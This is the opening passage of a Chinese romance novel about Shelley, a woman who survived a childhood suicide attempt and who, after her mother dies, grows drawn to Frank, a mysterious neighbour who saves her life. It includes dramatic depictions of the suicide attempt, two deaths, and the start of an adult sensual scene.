图片载入中

勾欢的MM共十章

特大字】 【大字】 【中字】 【小字

第一章

地球遭到人类的破坏、摧残,严重影响到所有的生态环境。有科学家预言,地球的寿命将尽;也有科学家致力于外太空的研究,想找出适合人类生存的星球,让人类继续生生不息的繁衍下去。

宇宙的最高主宰也意识到这个问题的严重性,所以准备派遣使者到地球,寻找适合延续生命的对象,以便在其他星球建立类似地球的生存环境。

而这些使者的任务是到地球,和各自找到的对象展开一连串浪漫的爱情故事,至于能不能让人类的生命在宇宙的银河系里继续生存,就让有生之年能探视到的人去做见证吧……此时,在众神聚集的白色殿堂里,一些资深的众神正在商讨拯救地球的对策。宇宙的最高主宰为了派遣何人下凡拯救地球而大伤脑筋。

别以为神仙就必须个个悲天悯人,对于牺牲自己、拯救大众之事,他们一样会推、拖、拉。

一些旁门左道的神怪自然插不上嘴,不是他们愿意置身事外,就算他们自告奋勇,那些正义之神八成会吓破胆,因为他们通常只搞破坏不建设。

至于最有资格执行这档事的天使长老们,更是一副事不关己的态度,将平时教导小天使那一套神爱世人的论调给忘得一干二净。

这该怎么办是好?

天神实在伤脑筋!

有什么办法能让众使者们心甘情愿下凡?

正当宇宙最高主宰为这件事情伤透脑筋之时,生怕责任落到自己身上的老鸟们,想到两全其美之计。

“主宰,这项工作十分艰巨,以我们在银河系的资历而言,想下凡执行任务恐怕会有诸多阻碍。不如让还在学习阶段的实习生下凡去,一来,能习惯地球的生活;再者,若是失败也无妨,到时候再由我们出任务,你看这个办法如何?”一些老鸟们开始设计菜鸟。

“这可行吗?”实习生们个个天真无邪,如果在地球染上人类的恶习,要如何完成使命?

“可行,当然可行。他们心中没有任何压力,等到他们找到合适的人选,生米煮成熟饭时再晓以大义,这样任务执行起来会更简单。”为了怕分担太多责任,长老们都赞成这样的论调。

这话也有道理,毕竟地球的毁灭,人类必须负最大的责任,相信每一个人都会很乐意自己成为拯救地球的英雄。

但是……该选谁下凡呢?

宇宙的最高主宰想到了一个好办法。

“就让长老们去挑选,最好是自愿下凡,不过,只要不发生抗议事件,随你们用什么方法都行!”

这言下之意就是可以不择手段罗?

长老们个个眉开眼笑的告退,准备去寻找“适当”人选……☆☆☆

雪莉一个人躲在住家的楼顶哭泣。

她不明白,为什么她的母亲不喜欢她?

父亲和母亲的相遇她不可能参与;父母要生下她,她也没有选择的余地;父亲离家出走,更不必经过她同意,为什么母亲要把所有的过错都算到她头上?

难道她必须一辈子背负这个罪名?

雪莉站在楼顶的墙边沉思——她的母亲不算是个好母亲,疼她的时候,几乎想将她揉进心里;恨她的时候,那眼光仿似想置她于死地般。

她对父亲更是一点印象也没有。

她觉得自己活得好辛苦!

雪莉低头向下望,才五层楼,看起来却觉得好高、好高,如果她就这么往下一跳,会不会所有的烦恼都随风而逝?

很奇怪吧?

shier岁的她竟然一心想寻死?

“雪莉!你在哪里?”桃丽丝的声音从楼梯间传来。

那一声声的叫唤就像催命符似的,催促着雪莉奔赴死亡之路。

雪莉听见了,那是她母亲的声音,一个强势而不容孩子有自我的女人。

雪莉心里想着。如果从楼顶往下跳,她就再也毋需凡事听从母亲,可以拥有自我……即使灵魂会沉沦于地狱,但至少是她的选择。

“雪莉!你给我出来,如果不出来的话,被我找到你就惨了!”

听听!她母亲就是如此,时时刻刻都用言语恐吓她。

不过她已经不怕了,只要再过一下下,所有的恐吓都将在她的脑海中消失,永远不会再出现。

雪莉抬起脚爬到矮墙上站着,迎着风,张开她的双臂做出翱翔状。

“雪莉!”桃丽丝惊叫一声。

雪莉望见母亲一张惊愕的脸,她的心里有一丝诧异。

那个天不怕、地不怕的女人竟然也会有惊慌的时候?

“你害怕了?”雪莉扬起嘴角,绽放出得意的笑容,她终于获得母亲的重视。

“想不想看更刺激的画面?”

“不!雪莉,别这么对我……”桃丽丝惊慌的以双手捂住着嘴巴。

“别这么对你?”雪莉凄苦的笑了笑。“这句话我不知向你说了多少次?妈妈,你给过我机会吗?没有!你从来没有给过我机会。”雪莉将一只脚伸出矮墙外面。“这一次我也不会给你任何的机会……”

雪莉的声音还在空气中传送,但是她的人已经往下直直坠落……“雪莉——”桃丽丝的哭喊伴着救护车刺耳的鸣笛声,一路狂飘到医院……☆☆☆

十三年后

凌晨两点,雪莉接到医院的紧急电话,急忙赶到医院。

走进母亲的病房,只见全身插满管子的桃丽丝困难的喘息着。

“妈,你醒醒,你千万不能死!”雪莉的泪水滴落在病床上。

自从十三年前她死里逃生之后,她与母亲之间的芥蒂早已经不存在,反而因曾濒临死亡,而对生命有了另一种诠释。

不管怎么说,母亲终究还是母亲,当母亲性命垂危时,她才体会到,一旦人死了,还会有什么仇恨存在?

据当年替她动手术的医生说,她被送到手术室的时候,已经没有生命迹象,所有的急救措施都已经用过,仪器上的指数还是呈现静止状态,医生们全摇头放弃,是她的母亲跪在手术房外,向上帝祈求、祷告,而她也在此时恢复心跳,所有的医生、护士都相信,是她母亲诚心的祈求感动上帝,她才能捡回一条命。

虽然这些事她一点都不记得,不,应该说一点印象也没有,但是大家就像是在说一件传奇故事一样的流传着。

自从她捡回这条命以后,她就像是一个全新的人,也许是心里想忘记从前对母亲的怨恨吧!

说来好笑,事情已经过了十三年,而她已经二十五岁,有时走在路上,还有小朋友要求她签名,这件事使她成了附近小朋友眼中的传奇人物,但仅止于小朋友,大人们看她的眼光还是有些畏惧。

仿佛她是一个恶魔、一个女巫,时时刻刻都得防备着她。

但是十三年过去了,什么事也没有发生,不但镇上的人相安无事,她周遭的人也一直都平平安安,她几乎已经淡忘这件事情对她曾有的影响。

“雪莉……”桃丽丝张开眼睛,左手摸索着雪莉的手,然后将她的手紧紧握在手中。

“妈,你终于醒了。”雪莉高兴的亲着母亲的手背,虽然她从不祷告,但此时她真的想谢谢上帝。

“我的十字架呢?”桃丽丝惊慌的眼神显得非常无助,而十字架就像是她的护身符般,一刻都离身不得。

有时雪莉觉得母亲对信yang有些走火入魔,十字架从来不离手,就像佛教徒成天将佛珠握在手中一样。

她不懂,甚至怀疑,上帝真的有那么神奇的力量,能让一个已经死亡的人复活?

她随即瞥见十字架就在病床边的桌上,漫不经心的随手抓起来,但十字架却像会烫手般,她立刻放手,十字架就这么掉落在地上。

雪莉眼睁睁的看着十字架落在地上。

桃丽丝见状,心里更慌了。

“雪莉,你有多久没上教堂了?”这些年来,她一直劝女儿受洗,但是女儿总是不愿意。

妈妈又要唠叨了!

雪莉一脸稍嫌不耐烦的表情,但是口气却没出现一丝让人不愉快的语调,对一个与死神搏斗的亲人,她怎么能恶言相向?

“妈,上不上教堂和虔诚不虔诚没有绝对的关系。”雪莉就是懒得抽时间上教堂去祷告,甚至觉得那是多此一举。

“不,你跟别人不一样,你这条命是我和撒旦用条件交换来的,你必须上教堂才能保平安,只有主才能保护你。”桃丽丝非常认真。

雪莉叹了一口气。

母亲果然已经走火入魔,如果生命可以用条件来交换,可能不会有人愿意死亡。

对于这个困扰她十三年的说法,她总是一笑置之,浑然不在乎的态度一度让桃丽丝为之气结。

“妈,只要你赶快好起来,我绝对和你天天上教堂。”神啊!请不要责怪她说谎,为了能使母亲早日康复,这应该是善意的谎言,阿门。

“不,妈不行了,我看见撒旦已经来了,来取我的命了。”桃丽丝精神显得委靡不振。

“胡说!你的气色好得很。”雪莉看见护士要她回家的手势,显然母亲的病情已经稳定。“妈,你好好休息,我明天再来看你。”

桃丽丝点点头。

“雪莉,听妈一句话,不要相信运气,尤其是不知所以的奇迹。”桃丽丝说完就沉沉入睡。

雪莉站在房门口,想不通母亲话中的涵义。

☆☆☆

昨晚折腾了一整夜,雪莉带着黑眼圈到公司,很不幸的她迟到了,一早所有的人都等着她开会。

“对不起,我迟到了。”没有理由和借口,这就是雪莉的作风。

企画部的经理冷着一张脸

“如果‘强生’的案子你不做,可以说一声,何必拖着?难道想让公司违约?”

雪莉不明白经理为什么这样说?

“我已经和对方见过面,也谈好细节。”雪莉有意无意的看看杰克,“我不知道这错误的讯息是从哪里传出来的?”

“是啊,雪莉费了不少工夫,让强生改变主意,愿意采用黑白色系做为主体设计。”雪莉的助手汤姆忙着帮雪莉说话。

经理似乎不同意她的说法。

“当初强生的要求是以彩色系列为主体,为什么你非要改变不可?而且还偏偏选择不讨喜的黑白设计?”

“房子本身采光不够,若以彩色为主体,根本显示不出房子本身的特色……”雪莉话尚未说完即被经理打断。

“采光不够,可以用些比较亮丽的色彩来弥补,不一定要说服客户改变心意;万一设计出来的效果不理想,谁来负责任?”

雪莉知道是谁在暗中搞鬼,不过她暂时隐忍下来,她与杰克的竞争已经不是一天、两天的事,只是现在已呈现白热化的恶性竞争让她觉得心烦。

“不管怎么说,强生已经接受我的建议。”雪莉强调顾客至上。

“顾客同意也没用!因为我不同意。”经理瞥了眼杰克,“如果你不愿意以原先的企划来设计,那这个案子就交给杰克来做。”

雪莉看了看大家,没有一个人肯站出来为她说句话。

其实大家心里都清楚,这是一件商业迫害,老鸟吃定菜鸟的把戏,杰克分明就是有意想压制她。

无所谓!反正这份工作她也已经做腻了,刚好趁此机会休息、休息,也可以到医院好好照顾母亲。

“很抱歉,既然你中意杰克的设计,那么就由他去做吧。”雪莉背起背包转身就走。

“雪莉!”汤姆急着追出去。“雪莉!”他在电梯门前挡住雪莉的去路。

雪莉面无表情的看着一旁。

“你一定要这么冲吗?”汤姆对于雪莉的坚持无可奈何。

雪莉歪斜着头,一副很不以为然的表情。

“那么你认为我应该怎么办?妥协,然后设计一些客户事后会后悔、以后不想再找我设计的设计图?”

“既然杰克可以用彩色的系列主体,你也行呀!再说,你的资历虽然浅,但是设计功力有口皆碑,难道会输给杰克?”汤姆非常欣赏雪莉的才华,甚至可以说是爱慕,而且也很努力的在展开追求的行动。

“就是因为如此,我才更不想破坏自己的作风。”雪莉很坚持。钱可以不赚,原则绝对不可丢弃。

“你就不能学着铜臭一点吗?小姐。我们是商人,不是艺术家,于嘛坚持忠于原味?”雪莉真是脑袋有问题。

“不必再说了,就算现在低头,案子也不见得要得回来。”雪莉只能对汤姆说抱歉了。

汤姆无所谓的耸耸肩膀。

“希望你不要迁怒杰克。”

“迁怒?我只希望他赶快消失,免得成为我的梦靥。”雪莉咬牙切齿的诅咒。

“算了,你自己好自为之,我先走了。”

☆☆☆

“派翠西?”雪莉惊讶的叫着,高兴的拥抱站在门口的人。

派翠西是雪莉的高中同学,两人有好几年没见面了。

为什么会失去联络?老实说,连她自己都不知道原因。

“最近好吗?”雪莉问。

“很好。”派翠西的神情有点奇怪。

“听说你结婚了,对象是谁?”雪莉递给她一杯咖啡。

“是……”派翠四红着脸颊。“我希望你能原谅我。”

“原谅你什么?”雪莉觉得她的说法很好笑。

“难道你结婚的对象是上帝指派给我的丈夫,而现在被你抢走了?”雪莉开着玩笑。

没想到派翠西红着眼眶说。“也许他真的是上帝指派给你的对象。”

雪莉吃了一惊,不过是一句玩笑话,竟然就让派翠西哭了。

“喂!你别吓我。”雪莉将她搂过来,安慰着她。“别哭,你们都结婚一年多了,就算是我的对象,现在已经变成是二手货的丈夫,我也不会想要回来,你就不必担心我会把他抢回来。”

“就算是乔治亚,你也不动心?”派翠西张着盈盈的泪眼问道。

“乔治亚?”雪莉很讶异。“你怎么会把他跟我扯在一起?”亏派翠西和她还是好朋友,怎么会以为她喜欢乔治亚?

“在高中时,你们一直是最登对的校园情侣,乔治亚也一直对你情有独钟。”说着,派翠西的泪水又掉了下来。

“老天!你扯得有够远的。别忘了,那是同学们将我们硬凑成对的,我什么时候承认过我喜欢他?而且我从来没有和乔治亚单独出去过,你怎么会认为乔治亚和我会有任何交集?”雪莉实在说不下去,因为她正捧腹大笑着。

“可是乔治亚说他喜欢你。”这才是派翠西心中永远的痛。

每回夫妻吵架,乔治亚总是拿她和雪莉比较,让她的婚姻生活一直笼罩在雪莉的阴影下。

“拜托!那时喜欢我的岂止乔治亚一个,班上的男生有哪一个不喜欢我?”雪莉觉得好笑。

其实不是雪莉有多迷人,而是男性的自大狂在作祟。

当时校园谣传,只要跟她有某种程度的交往,就必定会死于非命。而这些年轻气盛、血气方刚的男孩,总喜欢以此为赌注,打赌谁有办法得到雪莉的青睐,甚至和雪莉上床,借以验证传言是否属实。

当时她确实害怕过,所以她一直与大家保持一定的距离,而这也致使她的神秘面纱一直没有人能揭开,让众家男生对她更是疯狂。

大概就是因为这样,所以乔治亚才会有此一说。

但若是每个喜欢她的男同学结婚以后,他们的妻子都来找她扛上这么一回,她岂不是连日子都不用过了?

“再说,你也得分清楚他是在什么情形下说出这些话,如果是吵架时说的气话,你能当真吗?也许他只是想让你生气而已,根本没有别的意思。”雪莉安慰着她。

“可是……”派翠西还想再说些什么。

“别可是了,我妈的病就够我烦的,你别在那儿没事找事做的杞人忧天,嫌自己的寿命大长了,是不是?”

听到雪莉谈起桃丽丝,派翠西终于转移话题。

“你妈的病好点儿了吗?”

“医生说情况不乐观,昨晚我才去看过她。”

雪莉整个人几乎瘫了。

“她一向都是很虔诚的教徒,她能感动上帝将你从死神的手里抢回来,我相信这次她也一定能渡过难关。”派翠西安慰着她。

“嘿!什么时候你也开始相信这一套?”她之所以和派翠西合得来,完全是因为两人的想法差不多,她们都认为zong教只是信yang,绝对不能寄予太多的希望,但是这次相见。派翠西似乎变得很多。

“雪莉,不要太铁齿,冥冥之中真的自有定数。”

“我一向将神迹这种事当作是巧合而已,如果真的如你所说,我昨晚不就碰到神迹了吗?”想起在医院的那一幕,普通人还真会吓一跳。

“什么神迹?说来听听。”派翠西兴致高昂。

“昨晚我母亲说了一大堆莫名其妙的话,然后就叫我拿她的十字架项链给她,当我碰触到十字架的时候,十字架就像是一块烙铁一样,烫得我马上放开手,但是放开手之后,掌心却完好如初,一点也没有被烫过的痕迹。”

“真的?”派翠西似乎有些不敢置信。

“当然是真的,不然你以为我那么能办吗?”

雪莉对她的震惊不以为然,也许只是自己心不在焉而已,根本就什么事也没有。

就在两人讨论神迹的同时,电话铃声响起。

雪莉伸手拿起话筒,贴耳聆听后,整个人呆愣在原地。

第二章

雪莉不明白,为什么母亲会偷偷的离开医院到教堂去,难道她真的认为上帝能救她?

而桃丽丝就这么离奇的死在教堂里……

经过验尸,确定是死于心脏衰竭。

但是雪莉心中有疑惑,不管病患得的是什么病,在死之前一定先心脏衰竭然后才断气,用如此笼统的医学名词打发一个死因不明的人,似乎是最好的方式。

因为桃丽丝的死,在镇上沉寂已久的雪莉传奇故事,似乎在一瞬间又沸腾起来,甚至开始有媒体想找她现身说法。

有人相信桃丽丝真的是被撒旦索去了命,也有人认为是桃丽丝甘愿将寿命转移给雪莉,而现在时机已到……众说纷纭,让雪莉再次陷入情绪低潮。

难道她真是恶魔的化身?

庄重的丧葬仪式、感人肺腑的祭文,让参加丧礼的来宾为之动容,但这些真能指引桃丽丝上天堂吗?

而那些祭文听起来根本不像是祭文,反而像是带有浓重赎罪色彩的赎罪状,不禁让雪莉怀疑,一切是否真如母亲所言,她的这条命是母亲向撒旦求来的?

雪莉越来越迷惘……

她坐在酒吧里,汤姆正在安慰雪莉。

“人死不能复生,你千万要节哀顺变。”

雪莉斜脱他一眼,这么老套的台词还拿出来用?

“我到底是走什么霉运?工作去了、母亲死了,所有人的眼光似乎又集中在我身上,仿佛我真的是个十恶不赦的罪人,是害死母亲的凶手,好像所有的事在一夜之间全变了样。”雪莉无法接受这样残酷的事实。

“别这样,人生不如意十之八九,生离死别都是正常的事,不要让这些事干扰你。”汤姆不知道该怎么安慰她。

这些她都知道,也都很清楚,但为什么是她?

她真希望当年就这么死了,至少现在不必承受这些。

“是!谢谢你的安慰。”

“我是真心的……”汤姆想趁雪莉脆弱的时候向她示爱,但是又觉得时机有点不对。

“我知道你是真心想安慰我。”雪莉打断他的话,有些事不说出口还可以装煳涂,一旦坦白了,她不知道明天该怎么面对他。

“让我照顾你吧!桃丽丝死了,你一个人无依无靠的,让我来照顾你。”汤姆决定以暗示的方法先试探她的意愿。

她当然知道他的好意,也肯定他的用心,但汤姆不是她想要的男人;更正确的说法是——他绝对会好好照顾她,但是他无法给她安全感,这无关个人,她要的只是一种感觉。

“如果你真的可怜我,就替我结帐吧。”雪莉不想再待在这里,更不想再给他机会表白,而此时正是离开的最佳时机。

她站起来,离开座位往外走。

汤姆觉得自己很倒楣,好事没他的份,坏事全轮到他,看来他跟雪莉差不多,一样的倒楣。

雪莉走到门口,立刻被杰克拦下来。

“雪莉,我请你喝一杯。”

“没这个必要。”对这种奸诈小人,她向来是不假辞色。

“雪莉,强生那件事跟我完全无关,你不能因为这样就恨我。”杰克极力为自己的作为辩解。

“哦,是吗?那经理可真是神通广大,连客户和我之间的协议他都知道?他是在我身上装了窃听器、还是针孔摄影机?”雪莉讽刺杰克。

谁知雪莉这一开口,杰克眼中原本不算大的火焰顿时变成熊熊烈火,似乎要将她整个人烧毁。

在室内设计界里,杰克可算得上是个能唿风唤雨的人物,提起杰克,大家莫不竖起大拇指赞不绝口,偏偏这不知死活的丫头,竟然如此漠视他?近来甚至更有凌驾在他之上的趋势,他当然不想让这样的情况发生。

“你知道自己在和谁说话吗?”杰克的手紧抓住她的手腕,凶猛的目光牢牢的盯着她。

“我当然知道你是谁,用不着一再地提醒我,你在这个圈子里有多厉害。”雪莉甩开他的手,不想再和他纠缠,直接走出酒吧。

“那你就应该知道,如果不是我,你那种黑不拉叽的设计会受到赏识?”杰克追着她走出酒吧,两人就站在斜坡的路旁争论不休。

“不要以为没有你提拔,别人就永无出头之日。现在的社会存在着市场机制,有人买的货品当然就会有人卖,所以应该由市场机制来决定商品是否能在市面上生存。如果我设计的风格不受欢迎,不需要任何人批评,我的作品自然就会从市场上消失,就算你再厉害也救不了我;换言之,如果我的作品、风格受到市场、消费者的喜爱,那么该检讨的人是你、不是我。”雪莉实在很生气,天底下就是有这种人,以为没有他,天就会塌下来似的。

有时候,她好羡慕那些王牌设计师,无论设计出什么类型的作品,即使看起来有点混乱或者毫无头绪,还不是照样能靠着名气大红大紫,然后就仗着自己是前辈的身份,批评一些新锐设计师的设计不入流。

看着她不可一世的气焰,杰克更是无法忍受。

“相不相信,我有办法让你无法在这个圈子里混下去?”杰克脸上得意的笑容似乎在向她示威。

“你去死吧!”雪莉气不过的恶言相向。“即使我会混不下去,也绝不会求助于你,所以你不必太得意,当心损人不利己的事做多了会没有好下场!”

争吵的双方都没注意到在斜坡上的一辆车子正往下滑,朝着他们两人站立的地方倒退——在千钧一发之际,雪莉被一双大手拉到人行道上,但是杰克就没那么幸运,他被倒滑下来的空车撞倒,当场毙命。

雪莉吓出一身冷汗,要是没有人拉着她,也许她就像倒在血泊中的杰克一样,提早去陪伴母亲了。

她抬起头,正好和一双蓝得不可思议的眼眸对上,她不禁惊喘一声,满脸羞红的低下头去。

老天!这个男人真是帅得让人脸红心跳。

那是一张成熟英俊的脸庞,酷酷的脸上没有一丝笑容。轮廓分明的五官英气逼人,稍嫌冷漠的蓝眸显示出独特的神韵和一点慵懒的气质,充分流露出一股神秘又吸引人的魅力。

她可以感觉到自他身上散发出一股令人难以捉摸的奔驰野性,有着女人无法掌握的不安灵魂,是那种会让女人又爱、又恨的男人。

是谁说过,男人不坏、女人不受?

而他正好是那种有点坏、又不会太坏的男人。

虽然他始终面无表情,但是他的眼神像是在使坏般的勾引着她,充满十是的征服野性,却又带有洒脱不羁的奔放风采,看得她不由得心慌。

他就这么静静的和她对望了一会儿,待雪莉从惊愕中清醒,那男人早就失去了踪影,她甚至不知道他是何时离开的。

而周遭的人竟然没有看见是谁救了她?

她连一句谢谢都没来得及说,他就这么平空消失了!

☆☆☆

雪莉的心情很难平复,才三天,她就参加了两次葬礼,她不知道这种境遇能不能登上金氏世界记录,荣登世界超级大扫把星?

这几天,似乎不论是谁接近她都会出事,但是伴随意外而来的却是一件件令人惊喜的事情。

首先,杰克从她手上抢走的案子又回到她的手上,而且就在杰克的葬礼上。

经理当场开出优握的条件,还让她完全照着自己的意思设计,然而她并不想答应。

因为时间、地点都不对。杰克尸骨未寒,她就在他的葬礼上接手他的工作,别人会怎么想?

雪莉总觉得杰克的死,她必须负很大的责任,她不应该为了工作上的不愉快而诅咒他,又在他死后马上接手他的工作,这样做似乎有趁火打劫之嫌。

“拜托!这是公司签下来的合约,不能因为杰克死了工作就停摆,如果每个人都抱持这种想法,公司光是赔给对方的违约金就不计其数,搞不好公司还会倒闭呢。”汤姆对雪莉的想法不以为然。

雪莉仔细的想过汤姆的话,深觉他说得也不无道理,她没有必要因噎废食,也毋需把责任往自己身上揽,毕竟她也差一点和杰克一起共赴黄泉。

于是她很快的把诅咒这回事抛诸脑后,如果她随便诅咒一句就会死人,那她不就可以改行当杀手,情治人员甚至找不到任何证据可以对她起诉,多么完美的超级杀手!不过她没那个本事,绝对没有!

“我送你回去吧!”汤姆找各种借口想接近她。

“不了,我们一天至少有十个小时在一起,我不想在下班以后还看见你,这么说并没有恶意。只是看见你会让我觉得自己好像还在工作,没有休息的感觉。”

汤姆苦笑。

她的言下之意,是不是想追她就必须辞职另谋出路?

☆☆☆

雪莉才踏进家门,门铃声马上响起。

她打开门,对来访的两人感到惊讶。

“请进。雪莉跟着端出两杯咖啡给客人。“你一定很奇怪我的来意。”神父露出慈祥的笑容。

雪莉确实觉得奇怪。

虽然神父一直想说服她成为天主的信徒,但是却一直被她拒于门外;因此,她确实很意外神父会找上门,而且还带着一个律师。

“事情定这样的,这位是令堂的律师,他请我一起来聆听遗嘱。”神父介绍一同前来的另一个男人。

遗嘱?

据她所知,母亲这辈子一贫如洗,没有土地、没有房屋,平常的生活都靠救济金度日,偶尔她也会拿一些钱给母亲,这样困苦的生活,哪还需要立什么遗嘱?

不过律师念出来的遗嘱让她吓一大跳。

桃丽丝竟然有八十万的美金存款,遗嘱中指明一半捐给教堂、一半留给她。

这怎么可能?

“可是我妈生前过得很清苦……”

“她是一个教徒,生活清苦并不代表她一无所有。”虽然神父和她一样震惊,但是他有另一套解读方式。

或许这笔钱对教堂的帮助非常大,所以神父并未细究钱的来源;不过雪莉接受神父的解读方式,有了这笔钱,她将可以提升她的生活品质,也许还能拥有自己的房子。

神父临走前拉着雪莉的手。

“有空到教堂来走走。”

虽然以前她常常陪母亲到教堂做礼拜,但她并不是教徒,对zong教也不狂热。

“神父,我并不是教徒。”

“没有人规定只有教徒才能上教堂。”

神父的说法并不能打动雪莉的心。

“再说吧,也许哪天我心血来潮就会去。”

☆☆☆

“怎么样?环境不错吧?”派翠西带着雪莉来看她所住的这栋大楼。

“拜托,我买不起这么高级的房子。”雪莉光看这个地段的房价都会咋舌,更别说是买下这里的房子。

“别谦虚了,你妈不是留给你四十万美金,足够了。”派翠西怂恿着。“如果你搬进来住,我们就可以像以前一样,时常窝在一起。”

“可是,四十万根本不够……”

也不知道是她变得孤傲,还是派翠西变得热情,总之她觉得事情有些不对劲。虽然她们在高中时代号称死党,却还不到推心置腹的程度,派翠西对她的热心让她受宠若惊。

“够了,这屋子的主人急着脱手,付现金的话。只要十五万。”

雪莉简直不敢相信。

“这怎么可能?”光是这个地段的地上物产权都不止这个价钱。

“怎么不可能?你不也说你妈不可能有那么多遗产,结果咧?平白无故就多了四十万可以支配!”派翠西搂着她的肩膀,开心的说,“你什么都不用想,搬进来住就对了。”

这的确是很令人心动的一栋房子,黄金地段、大坪数、全新的家具,墙壁连粉刷都不用,她到哪里去找条件这么好的房子?

“怎么样?考虑好了吗?”派翠西催促着她下决定。

“好,买下了!”

派翠西眉毛一挑,唇边不觉泛起一丝若有似无,颇具危险的笑容。

☆☆☆

雪莉拎着一只皮箱搬进来住,她环顾四周想到从此可以提升居住的品质,脸上不禁浮现一抹笑容。

“对不起,请问这是你的吗?”

雪莉转头看向门口,是一个高大英俊的男士,手上还拿着一份设计图。

“是你?”雪莉非常惊讶,因为站在她眼前的男人正是救她一命的男人。

“世界可真小,你刚搬来?”他伸出手。“你好,我是法兰克。”

她也伸出手。

“幸会!我是雪莉。”

法兰克将设计图递给她。

“这大概是你不小心掉的。”

“谢谢。”雪莉痴痴的望着他。

那天他救了她之后就不见人影,她连一句谢谢都来不及说,便失去他的踪影,今天却巧合的在新住处遇见他。

“那天真的谢谢你。”雪莉还握着他的手。

法兰克轻轻握了一下便放手,充分表现出他的绅士风范。

“没什么,只是凑巧看见那部车子往下滑,举手之劳而已。”

“你太客气了。”雪莉迟疑了一会儿,“我今天刚搬来,待会儿朋友要为我举行一个小型party,你能参加吗?”

“谢谢你的好意,我还有事。”法兰克向她点了点头,转身走出去。

雪莉走到门口,看见法兰克走进对门。

“你住在对面?”实在好巧。

“是。”他简短的回答后随即关上房门。

雪莉靠在门边发呆。

好俊俏的男人!金发、浓眉大眼,轮廓分明的五官,蓝绿色的眼眸、高挺的鼻子、性感的嘴唇……简直就是她的梦中情人!

老天!这阵子她的运气实在好得吓死人。

“干嘛站在门边发呆?”派翠西老远就看见她倚门深思,活像是个怀春的女人。

“你认识住在我对门的男人吗?”雪莉拉着派翠西进屋。

“当然认识,他是个作家。”派翠西眉飞色舞的说。

“作家?”雪莉实在很难想像那般出色的男人坐在家里敲电脑键盘的模样。“什么样的作家?”

“我也不是很清楚,总之他是个靠写字维生的人。”派翠酉似乎不想多谈。“怎么样,晚上的party你会参加吧!”

“当然会。”

☆☆☆

雪莉在楼下的大门口和法兰克不期而遇。

她显得有点兴奋,然而,法兰克却表现得极为冷淡。

他只是象激性的朝她点点头,并无攀谈之意,让她顿时心中一阵失落。

好一会儿,她才抚平自己的情绪,同时脑海中涌进许多疑问——她总觉得法兰克似乎无时无刻都在她身边,但却对她显得相当疏离、冷漠,这就是她搞不懂的地方。

雪莉低头沉思,为什么她会有这种奇怪的感觉?

直至此刻她才发觉,虽只是短短数日,她已不由自主的被眼前这个男人吸引,不仅对他好奇,还对他产生一种淡淡的情愫,内心涌起一股莫名其妙的暖流,她想进入他的世界。

但是,他似乎一点也不领情。

雪莉跟在他身后走进大楼,管理员养的一只大麦町竟然向法兰克扑过去,张口咬住他的手!

霎时间一阵慌乱,在众人的惊叫声中,管理员终于迫使大麦町松口。

但是法兰克的手……

她发誓,她真的看见大麦町咬伤了法兰克,但是才一转眼,他的手竟然毫发无伤!

管理员急着向法兰克道歉,但他轻轻的摇了摇头就往电梯走去。

雪莉苍白着脸愣在原地,她闭上眼睛仔细回想,到底是自己眼花,还是法兰克真的与众不同?

“你不是要上楼吗?”法兰克按住电梯。

雪莉回过神,慌乱的走进电梯里。

她往电梯内侧站定,打量着眼前高大的背影。

一定是自己眼花,一定是这阵子遇见太多无法解释的事情……雪莉压下心里的震惊,告诉自己,现在是讲究科学证据的时代,不能轻易相信没有根据的事情,即使是自己的眼睛所见都不能相信。

第三章

整整一夜,法兰克的身影在雪莉的脑海中盘旋不去。

一想起他,她的心就狂野的跳动。

他慑人的眼神、厚实修长的手、独特的男性气息,虽然只是短短的接触,却教她怎么也忘不了。

她早已经忘了他的神秘,而深深被他吸引住。

雪莉不停的告诉自己,淑女不应该这么露骨大胆的想男人,但是她就是无法控制自己。

而且她了解自己不是一个水性杨花的女人,一旦动了真情,就绝不轻言放手。但是法兰克究竟是怎么样的一个人呢?

如果他根本不喜欢她,而她又做出投怀送抱的事,等到他玩腻了,会不会就丢下她不管?

想了一整夜,一点头绪都没有。

但是不管心有多乱、情绪有多糟,天一亮,她还是必须回到公司工作。

她很清楚不该将个人情绪带到办公室,但她就是难以自制。

“你有心事吗?”汤姆见她神情有异,只得将她叫到一旁,以免老板看见她的心不在焉。

“没事。”

汤姆一直是她最佳的工作拍档,她也明白汤姆对自己的心意,但是当法兰克出现时,汤姆对她的情意,就远远不及法兰克所带给她的震撼。

而这项事实让她陷入困扰。

她没想到一个陌生人竟然带给她这么大的影响力。

“没事就好,我希望你有什么烦恼能跟我说,我一定会帮你的。”汤姆苦笑着,他感到雪莉似乎离他越来越远。

虽然他不知道是什么原因,但是仍期待她的阴霾能赶快去除,也好让他早日进驻她的心中。

“谢谢你。”汤姆越是关心她,她的心里就越过意不去。

☆☆☆

虽然雪莉已当面向法兰克道过谢,但是她总觉得不够隆重。

思而想后,雪莉觉得她应该再次登门道谢,以表示诚心。

她打开门,走到法兰克的大门前,举起手……

这样会不会太冒昧?

算了!

还是不要好了,万一法兰克觉得她多此一举,或者觉得她有意勾引他,那样不就适得其反,让他留下一个坏印象?

雪莉垂头丧气地走回自己的屋子……

不一会儿,雪莉又打开门走出来,在法兰克的门前深深的吸一口气,然后举起手在门上轻轻敲了三下。

等了半晌都没有人应门,就在雪莉即将放弃的时候……门打开了,法兰克一把将她拉进去。

屋里流泻着快节奏的舞曲,法兰克随着音乐摇摆身躯,雪莉也不知不觉的跟着舞动、摇摆。

他的双手搭上她的纤腰,两人的臀部向着同一个方向摆动,火热的舞步让两人的身躯越来越紧密。

法兰克的手自她的腰间滑下,宽大的手掌覆在她的臀部上。

霎时,一道无以言喻的电流窜过雪莉的下腹,让她不自觉地瘫软在他的怀中。法兰克深邃的双眸紧紧锁住她,收紧双臂,让她的小腹抵住他勃发的欲望,接着伸出舌尖,亲密的舔吻着她柔软的耳垂,进而滑向她白皙柔嫩的颈部。

雪莉觉得全身燥热,不由自主的回应他。

而她的甜美和柔顺,让法兰克失去控制,他头一低,饥渴的吻住她柔嫩红艳的唇瓣。

他疯狂地吸吮她的唇,舌尖肆无忌惮地滑进她的嘴里,极尽可能的汲取她口中甜蜜的汁液。

原本覆在臀部的大手也渐渐的往上移动,由腰间探进她的衬衫,灵活的手指隔着胸衣,紧紧覆住她高耸的柔软。

他的入侵让雪莉沉睡已久的情欲有苏醒的迹象,她再次不知所措的瘫软在法兰克的怀里。

法兰克立刻腾出双手,打横抱起浑身软绵无力的雪莉走往卧房的方向。

☆☆☆

法兰克轻轻放她平躺在床上,激情的汗水让雪莉的白衬衫变得透明,胸衣上的蕾丝纹路清晰可见。

